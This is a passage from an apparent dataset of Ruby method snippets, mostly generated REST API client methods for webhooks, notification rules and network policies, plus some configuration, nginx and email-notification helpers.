post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UsersApi#update_configuration\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def patch_adapter_config_policy(moid, adapter_config_policy, opts = {})\n data, _status_code, _headers = patch_adapter_config_policy_with_http_info(moid, adapter_config_policy, opts)\n data\n end",
"def get_config\n global_config = {\n 'pubnub_subscribe_key'=> Settings.pubnub.subscribe_key\n }\n\n static_config = {\n 'name'=> self.name\n }\n\n #Manually inject the analytics from the account into the unit\n if self.admo_account and not self.admo_account.analytics.empty?\n #We hide the secret away from the clients for now.\n static_config['analytics'] = self.admo_account.analytics\n static_config['analytics'].delete(:mixpanel_api_secret)\n end\n\n account_config = self.admo_account.try(:config) || {}\n global_config.merge(account_config).merge(self.config).merge(static_config)\n end",
"def cfg_params\n params.require(:cfg).permit(:sale_tel, :email, :company_name, :address, :content)\n end",
"def get_notification_webhooks_with_http_info(application_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementApi.get_notification_webhooks ...'\n end\n # verify the required parameter 'application_id' is set\n if @api_client.config.client_side_validation && application_id.nil?\n fail ArgumentError, \"Missing the required parameter 'application_id' when calling ManagementApi.get_notification_webhooks\"\n end\n # resource path\n local_var_path = '/v1/applications/{applicationId}/notification_webhooks'.sub('{' + 'applicationId' + '}', CGI.escape(application_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'InlineResponse2005' \n\n # auth_names\n auth_names = opts[:auth_names] || ['management_key', 'manager_auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementApi#get_notification_webhooks\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_configuration(etag = \"\", retries = 0)\n fetch_response = _fetch(etag)\n\n # If there wasn't a config change, we return the response.\n if !fetch_response.is_fetched()\n return fetch_response\n end\n\n preferences = fetch_response.entry.config.fetch(PREFERENCES, nil)\n if preferences === nil\n return fetch_response\n end\n\n base_url = preferences.fetch(BASE_URL, nil)\n\n # If the base_url is the same as the last called one, just return the response.\n if base_url.equal?(nil) || @_base_url == base_url\n return fetch_response\n end\n\n redirect = preferences.fetch(REDIRECT, nil)\n # If the base_url is overridden, and the redirect parameter is not 2 (force),\n # the SDK should not redirect the calls, and it just has to return the response.\n if @_base_url_overridden && redirect != RedirectMode::FORCE_REDIRECT\n return fetch_response\n end\n\n # The next call should use the base_url provided in the config json\n @_base_url = base_url\n\n # If the redirect property == 0 (redirect not needed), return the response\n if redirect == RedirectMode::NO_REDIRECT\n # Return the response\n return fetch_response\n end\n\n # Try to download again with the new url\n\n if redirect == RedirectMode::SHOULD_REDIRECT\n @log.warn(3002, \"The `dataGovernance` parameter specified at the client initialization is not in sync with the preferences on the ConfigCat Dashboard. \" \\\n \"Read more: https://configcat.com/docs/advanced/data-governance/\")\n end\n\n # To prevent loops we check if we retried at least 3 times with the new base_url\n if retries >= 2\n @log.error(1104, \"Redirection loop encountered while trying to fetch config JSON. Please contact us at https://configcat.com/support/\")\n return fetch_response\n end\n\n # Retry the config download with the new base_url\n return get_configuration(etag, retries + 1)\n end",
"def patch_asset_device_configuration_with_http_info(moid, asset_device_configuration, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AssetApi.patch_asset_device_configuration ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling AssetApi.patch_asset_device_configuration\"\n end\n # verify the required parameter 'asset_device_configuration' is set\n if @api_client.config.client_side_validation && asset_device_configuration.nil?\n fail ArgumentError, \"Missing the required parameter 'asset_device_configuration' when calling AssetApi.patch_asset_device_configuration\"\n end\n # resource path\n local_var_path = '/api/v1/asset/DeviceConfigurations/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(asset_device_configuration)\n\n # return_type\n return_type = opts[:debug_return_type] || 'AssetDeviceConfiguration'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"AssetApi.patch_asset_device_configuration\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AssetApi#patch_asset_device_configuration\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def configure_channel_catalog_general_settings_with_http_info(channel_catalog_id, request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: V2UserChannelCatalogsApi.configure_channel_catalog_general_settings ...\"\n end\n # verify the required parameter 'channel_catalog_id' is set\n fail ArgumentError, \"Missing the required parameter 'channel_catalog_id' when calling V2UserChannelCatalogsApi.configure_channel_catalog_general_settings\" if channel_catalog_id.nil?\n # verify the required parameter 'request' is set\n fail ArgumentError, \"Missing the required parameter 'request' when calling V2UserChannelCatalogsApi.configure_channel_catalog_general_settings\" if request.nil?\n # resource path\n local_var_path = \"/v2/user/channelCatalogs/{channelCatalogId}/settings/general\".sub('{format}','json').sub('{' + 'channelCatalogId' + '}', channel_catalog_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(request)\n auth_names = ['api_key']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: V2UserChannelCatalogsApi#configure_channel_catalog_general_settings\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def regenerate_nginx_config_files()\n Djinn.log_debug(\"Regenerating nginx config files for App Engine apps\")\n my_public = my_node.public_ip\n my_private = my_node.private_ip\n login_ip = get_login.private_ip\n\n Djinn.log_debug(\"@app_info_map is #{@app_info_map.inspect}\")\n @apps_loaded.each { |app| \n http_port = @app_info_map[app]['nginx']\n https_port = @app_info_map[app]['nginx_https']\n proxy_port = @app_info_map[app]['haproxy']\n Djinn.log_debug(\"Regenerating nginx config for app #{app}, on http \" +\n \"port #{http_port}, https port #{https_port}, and haproxy port \" +\n \"#{proxy_port}.\")\n\n static_handlers = HelperFunctions.parse_static_data(app)\n Nginx.write_fullproxy_app_config(app, http_port, https_port,\n my_public, my_private, proxy_port, static_handlers, login_ip)\n }\n Djinn.log_debug(\"Done writing new nginx config files!\")\n Nginx.reload()\n end",
"def get_notification_webhook_with_http_info(application_id, notification_webhook_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementApi.get_notification_webhook ...'\n end\n # verify the required parameter 'application_id' is set\n if @api_client.config.client_side_validation && application_id.nil?\n fail ArgumentError, \"Missing the required parameter 'application_id' when calling ManagementApi.get_notification_webhook\"\n end\n # verify the required parameter 'notification_webhook_id' is set\n if @api_client.config.client_side_validation && notification_webhook_id.nil?\n fail ArgumentError, \"Missing the required parameter 'notification_webhook_id' when calling ManagementApi.get_notification_webhook\"\n end\n # resource path\n local_var_path = '/v1/applications/{applicationId}/notification_webhooks/{notificationWebhookId}'.sub('{' + 'applicationId' + '}', CGI.escape(application_id.to_s)).sub('{' + 'notificationWebhookId' + '}', CGI.escape(notification_webhook_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'NotificationWebhook' \n\n # auth_names\n auth_names = opts[:auth_names] || ['management_key', 'manager_auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementApi#get_notification_webhook\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def process_notifications(users, plan)\r\n users.each{| user |\r\n #KS- if they have email notification on, check their notification setting\r\n email_notification = user.get_att_value(UserAttribute::ATT_REMIND_BY_EMAIL)\r\n if email_notification\r\n #KS- which notification category does this user fall into?\r\n notification_setting = user.get_att_value(UserAttribute::ATT_INVITE_NOTIFICATION_OPTION)\r\n notification_setting = notification_setting.nil? ? nil : notification_setting.to_i\r\n case notification_setting\r\n when UserAttribute::INVITE_NOTIFICATION_ALWAYS\r\n if user.registered?\r\n UserNotify.deliver_invite_notification(current_user, user, plan)\r\n else\r\n url = url_for(:controller => 'users', :action => 'register', :id => user.id)\r\n UserNotify.deliver_unregistered_invite_notification(current_user, user, plan, url)\r\n end\r\n end\r\n\r\n end\r\n #TODO: KS- handle SMS notification\r\n }\r\n end",
"def update_vnic_eth_network_policy_with_http_info(moid, vnic_eth_network_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VnicApi.update_vnic_eth_network_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling VnicApi.update_vnic_eth_network_policy\"\n end\n # verify the required parameter 'vnic_eth_network_policy' is set\n if @api_client.config.client_side_validation && vnic_eth_network_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'vnic_eth_network_policy' when calling VnicApi.update_vnic_eth_network_policy\"\n end\n # resource path\n local_var_path = '/api/v1/vnic/EthNetworkPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(vnic_eth_network_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'VnicEthNetworkPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"VnicApi.update_vnic_eth_network_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VnicApi#update_vnic_eth_network_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def configureCToolsHTTPProvider(config_hash)\n logger.debug \"#{self.class.to_s}:#{__method__}: #{__LINE__}: call configure\"\n # Assign or merge hash?\n @ctools_hash = initConfigureCToolsHTTPProvider(config_hash)\n end",
"def get_webhooks_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementApi.get_webhooks ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementApi.get_webhooks, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementApi.get_webhooks, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/v1/webhooks'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'applicationIds'] = opts[:'application_ids'] if !opts[:'application_ids'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'InlineResponse20033' \n\n # auth_names\n auth_names = opts[:auth_names] || ['management_key', 'manager_auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementApi#get_webhooks\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def notification_rules(opts = {})\n rules = self.notification_rule_ids.inject([]) do |ret, rule_id|\n unless (rule_id.nil? || rule_id == '')\n ret << Flapjack::Data::NotificationRule.find_by_id(rule_id, :redis => @redis)\n end\n ret\n end\n if rules.all? {|r| r.is_specific? } # also true if empty\n rule = self.add_notification_rule({\n :entities => [],\n :regex_entities => [],\n :tags => Set.new([]),\n :regex_tags => Set.new([]),\n :time_restrictions => [],\n :warning_media => ALL_MEDIA,\n :critical_media => ALL_MEDIA,\n :warning_blackhole => false,\n :critical_blackhole => false,\n }, :logger => opts[:logger])\n rules.unshift(rule)\n end\n rules\n end",
"def set_notification_threshold(th,th_plus=th,i=0,asd=Hash.new,percent=th*0.25)\n asd[i] = {min: th_plus-percent,max: (th_plus+th)-percent}\n i == 3 ? (return asd) : (set_notification_threshold(th,th_plus*=2,i+=1,asd))\n end",
"def payment_notification(options={})\n options = options.symbolize_keys\n receivers = fetch_payment_receivers(options)\n @amount = ((options[:amount].to_f)/100)\n @conn_count = options[:connection_count]\n @last4 = options[:last4]\n mail(:to => receivers, :subject => \"Payment Successful!\")\n end",
"def action_deploy\n notifying_block do\n write_config\n end\n end",
"def apply_computed_config\n Meggy::Config[:color] = config[:color]\n\n case Meggy::Config[:verbosity]\n when 0, nil\n Meggy::Config[:log_level] = :error\n when 1\n Meggy::Config[:log_level] = :info\n else\n Meggy::Config[:log_level] = :debug\n end\n\n Meggy::Config[:email] = config[:email] if config[:email]\n Meggy::Config[:api_key] = config[:api_key] if config[:api_key]\n\n # Expand a relative path from the config directory. Config from command\n # line should already be expanded, and absolute paths will be unchanged.\n Mixlib::Log::Formatter.show_time = false\n Megam::Log.init(Meggy::Config[:log_location])\n Megam::Log.level(Meggy::Config[:log_level] || :error)\n end",
"def on_confchg(&block)\n\t\t@confchg_callback = block\n\tend",
"def notify \n hosts = get_entity(\"hoststatus\")\n services = get_entity(\"servicestatus\")\n \n unless hosts.empty? and services.empty?\n @config[:subscribers].each do |subscriber|\n Notifier.send_notification({\n :hosts => hosts,\n :services => services,\n\n :from => @config[:smtp_settings][:user_name],\n :to => subscriber,\n :subject => @config[:subject],\n template: \"#{@config[:conf_dir]}/notification.html.erb\"\n }).deliver\n end\n else\n @logger.info(\"No hosts or services were found.\")\n end\n end",
"def patch_dhcp_relay_config_0_with_http_info(dhcp_relay_config_id, dhcp_relay_config, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingIPManagementDHCPDHCPRelayConfigsApi.patch_dhcp_relay_config_0 ...'\n end\n # verify the required parameter 'dhcp_relay_config_id' is set\n if @api_client.config.client_side_validation && dhcp_relay_config_id.nil?\n fail ArgumentError, \"Missing the required parameter 'dhcp_relay_config_id' when calling PolicyNetworkingIPManagementDHCPDHCPRelayConfigsApi.patch_dhcp_relay_config_0\"\n end\n # verify the required parameter 'dhcp_relay_config' is set\n if @api_client.config.client_side_validation && dhcp_relay_config.nil?\n fail ArgumentError, \"Missing the required parameter 'dhcp_relay_config' when calling PolicyNetworkingIPManagementDHCPDHCPRelayConfigsApi.patch_dhcp_relay_config_0\"\n end\n # resource path\n local_var_path = '/global-infra/dhcp-relay-configs/{dhcp-relay-config-id}'.sub('{' + 'dhcp-relay-config-id' + '}', dhcp_relay_config_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(dhcp_relay_config)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingIPManagementDHCPDHCPRelayConfigsApi#patch_dhcp_relay_config_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def firecloud_api_notification(current_status, requester=nil)\n unless Rails.application.config.disable_admin_notifications == true\n @admins = User.where(admin: true).map(&:email)\n @requester = requester.nil? ? '[email protected]' : requester\n @current_status = current_status\n unless @admins.empty?\n mail(to: @admins, reply_to: @requester, subject: \"[Unity Admin Notification#{Rails.env != 'production' ? \" (#{Rails.env})\" : nil}]: ALERT: FIRECLOUD API SERVICE INTERRUPTION\") do |format|\n format.html\n end\n end\n end\n end",
"def get_all_notification_rules_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.get_all_notification_rules ...'\n end\n # resource path\n local_var_path = '/v1/notification/rule'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<NotificationRule>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['X-Api-Key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#get_all_notification_rules\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def perform(url, ids, max_retries)\n @url = url\n @ids = ids\n @max_retries = max_retries\n r = Webhooks::Notification.where(id: ids)\n @msg = { 'notifications' => [] }\n r.each do |notification|\n @msg['notifications'] << notification.msg\n end\n Rails.logger.info \"Webhooks::CallbackUrlJob Notifying on callback url #{url} for ids #{ids} with msg #{@msg}\"\n notify\n end",
"def patch_kubernetes_virtual_machine_infra_config_policy_with_http_info(moid, kubernetes_virtual_machine_infra_config_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.patch_kubernetes_virtual_machine_infra_config_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.patch_kubernetes_virtual_machine_infra_config_policy\"\n end\n # verify the required parameter 'kubernetes_virtual_machine_infra_config_policy' is set\n if @api_client.config.client_side_validation && kubernetes_virtual_machine_infra_config_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_virtual_machine_infra_config_policy' when calling KubernetesApi.patch_kubernetes_virtual_machine_infra_config_policy\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/VirtualMachineInfraConfigPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_virtual_machine_infra_config_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesVirtualMachineInfraConfigPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.patch_kubernetes_virtual_machine_infra_config_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#patch_kubernetes_virtual_machine_infra_config_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update_config(params)\n services = services_from_params(params)\n to = get_param(params, :to)\n if @environment.in_dry_run_mode\n services.each do |agent|\n notify(:msg => \"[#{@name}] Would update the configuration of #{agent.host} (#{agent.type}) to version #{to}\",\n :tags => [:galaxy, :dryrun])\n end\n services\n else\n command = ::Galaxy::Commands::UpdateConfigCommand.new([ to ], @galaxy_options)\n command.report = GalaxyGatheringReport.new(@environment,\n '[' + @name + '] Updated the configuration of #{agent.host} (#{agent.type}) to ' + to,\n [:galaxy, :trace])\n execute(command, services)\n command.report.results\n end\n end",
"def patch_dhcp_relay_config_with_http_info(dhcp_relay_config_id, dhcp_relay_config, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingIPManagementDHCPDHCPRelayConfigsApi.patch_dhcp_relay_config ...'\n end\n # verify the required parameter 'dhcp_relay_config_id' is set\n if @api_client.config.client_side_validation && dhcp_relay_config_id.nil?\n fail ArgumentError, \"Missing the required parameter 'dhcp_relay_config_id' when calling PolicyNetworkingIPManagementDHCPDHCPRelayConfigsApi.patch_dhcp_relay_config\"\n end\n # verify the required parameter 'dhcp_relay_config' is set\n if @api_client.config.client_side_validation && dhcp_relay_config.nil?\n fail ArgumentError, \"Missing the required parameter 'dhcp_relay_config' when calling PolicyNetworkingIPManagementDHCPDHCPRelayConfigsApi.patch_dhcp_relay_config\"\n end\n # resource path\n local_var_path = '/infra/dhcp-relay-configs/{dhcp-relay-config-id}'.sub('{' + 'dhcp-relay-config-id' + '}', dhcp_relay_config_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(dhcp_relay_config)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingIPManagementDHCPDHCPRelayConfigsApi#patch_dhcp_relay_config\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n respond_to do |format|\n format.html do\n # TODO(KARLA): REFACTOR THIS CODE\n if @notification_settings.update(notifications_settings_params)\n flash[:notice] = t('flashes.notification_settings.update.notice')\n if current_user.agent?\n redirect_to customer_dashboard_path\n else\n redirect_to co_borrower_dashboard_path\n end\n else\n flash[:alert] = t('flashes.notification_settings.update.alert')\n render 'edit'\n end\n end\n\n format.json do\n @notification_settings.update(notifications_settings_params)\n render json: {}, status: 200\n end\n end\n end",
"def invitation_update_settings_with_http_info(project_id, id, invitation_update_settings_parameters, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: InvitationsApi.invitation_update_settings ...'\n end\n # verify the required parameter 'project_id' is set\n if @api_client.config.client_side_validation && project_id.nil?\n fail ArgumentError, \"Missing the required parameter 'project_id' when calling InvitationsApi.invitation_update_settings\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling InvitationsApi.invitation_update_settings\"\n end\n # verify the required parameter 'invitation_update_settings_parameters' is set\n if @api_client.config.client_side_validation && invitation_update_settings_parameters.nil?\n fail ArgumentError, \"Missing the required parameter 'invitation_update_settings_parameters' when calling InvitationsApi.invitation_update_settings\"\n end\n # resource path\n local_var_path = '/projects/{project_id}/invitations/{id}'.sub('{' + 'project_id' + '}', CGI.escape(project_id.to_s)).sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'X-PhraseApp-OTP'] = opts[:'x_phrase_app_otp'] if !opts[:'x_phrase_app_otp'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(invitation_update_settings_parameters) \n\n # return_type\n return_type = opts[:return_type] || 'Invitation' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Basic', 'Token']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: InvitationsApi#invitation_update_settings\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n response = ::Phrase::Response.new(data, headers)\n return response, status_code, headers\n end",
"def librato_send(stats)\n if @librato_api_key.nil? || @librato_api_key.empty? || @librato_email.nil? || @librato_email.empty?\n puts \"No librato api key and email\"\n return\n end\n begin\n Librato::Metrics.authenticate(@librato_email, @librato_api_key)\n\n metrics = {}\n stats[:plugins].keys.sort.each { |name|\n result = stats[:plugins][name]\n metrics[\"dynosaur.#{@heroku_app_name}.#{name}.value\"] = result[\"value\"]\n metrics[\"dynosaur.#{@heroku_app_name}.#{name}.estimate\"] = result[\"estimate\"]\n }\n metrics[\"dynosaur.#{@heroku_app_name}.combined.actual\"] = stats[:after]\n metrics[\"dynosaur.#{@heroku_app_name}.combined.estimate\"] = stats[:estimate]\n\n Librato::Metrics.submit(metrics)\n rescue Exception => e\n puts \"Error sending librato metrics\"\n puts e.message\n end\n end",
